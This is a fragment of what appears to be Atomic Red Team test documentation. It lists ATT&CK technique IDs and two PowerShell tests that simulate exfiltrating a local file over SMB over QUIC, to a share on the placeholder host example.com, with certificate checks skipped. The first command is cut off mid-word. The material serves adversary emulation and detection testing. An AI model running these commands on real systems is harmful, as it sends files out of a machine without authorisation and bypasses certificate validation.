







- >  T1036
- >  T1037.001
- >  T1037.002
- >  T1037.004
- >  T1037.005
- >  T1039

local_file	The local file to be transferred	path	C:\path\to\file.txt
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Attack Commands: Run with **powershell** ! Elevation Required (e.g. root or admin)

```
New-SmbMapping -RemotePath '#{remote_path}' -TransportType QUIC -SkipCer
copy '#{local_file}' 'Z:\'
```

Atomic Test #2 - Exfiltration Over SMB over QUIC (NET USE)

Simulates an attacker exfiltrating data over SMB over QUIC using the NET USE command.
Prerequisites:

- A file server running Windows Server 2022 Datacenter: Azure Edition
- A Windows 11 computer
- Windows Admin Center

Supported Platforms: Windows

auto_generated_guid: 183235ca-8e6c-422c-88c2-3aa28c4825d9

Inputs:

Name	Description	Type	Default Value
remote_path	The UNC path to the share on the file server	string	\\example.com\sales
local_file	The local file to be transferred	path	C:\path\to\file.txt

Attack Commands: Run with **powershell** ! Elevation Required (e.g. root or admin)

```
NET USE * '#{remote_path}' /TRANSPORT:QUIC /SKIPCERTCHECK
copy '#{local_file}' '*:\'
```